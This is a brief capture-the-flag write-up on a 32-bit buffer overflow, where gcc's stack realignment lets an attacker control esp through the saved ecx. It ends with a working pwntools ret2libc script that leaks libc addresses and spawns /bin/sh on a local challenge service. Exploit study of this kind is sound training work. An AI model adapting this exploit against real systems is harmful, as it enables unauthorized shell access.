When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows:

 80485cb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485cf:       83 e4 f0                and    esp,0xfffffff0
 80485d2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d5:       55                      push   ebp
 80485d6:       89 e5                   mov    ebp,esp
 80485d8:       51                      push   ecx
 80485d9:       83 ec 34                sub    esp,0x34

 ......

 8048682:       b8 00 00 00 00          mov    eax,0x0
 8048687:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804868a:       c9                      leave
 804868b:       8d 61 fc                lea    esp,[ecx-0x4]
 804868e:       c3                      ret

You can see that during setup, lea ecx,[esp+0x4] puts the value of esp into ecx, then pushes ecx onto the stack; after we overflow, we also overwrite that original value.

The challenge is generous and provides a lot, so we can compute the address of system, and it also gives the buffer address. So we put the ret address at the start of the buffer — once esp is controlled properly it won’t break — and then stack a normal ret2libc as usual.

from pwn import *

e = ELF('/lib32/libc.so.6')
#e = ELF('./libc.so.6')

r = remote("127.0.0.1",4000)
r.recvlines(2)
puts = r.recvline().strip()[47:57]
print 'puts : ',puts
puts = int(puts, 16)

buffer = r.recvline().strip()[-10:]
print 'buffer :',buffer
buffer = int(buffer,16)

system = puts - ( e.symbols['puts'] - e.symbols['system'] )
print 'system : ',hex(system)

payload = p32(system) + p32(0) + p32(buffer + 4*7) + p32(0) + p32(0) + p32(0) + p32(0)
payload += '/bin/sh\x00'
payload += 'A'*(44-len(payload))
print len(payload)


r.sendline( payload + p32( buffer + 4)  )

r.interactive()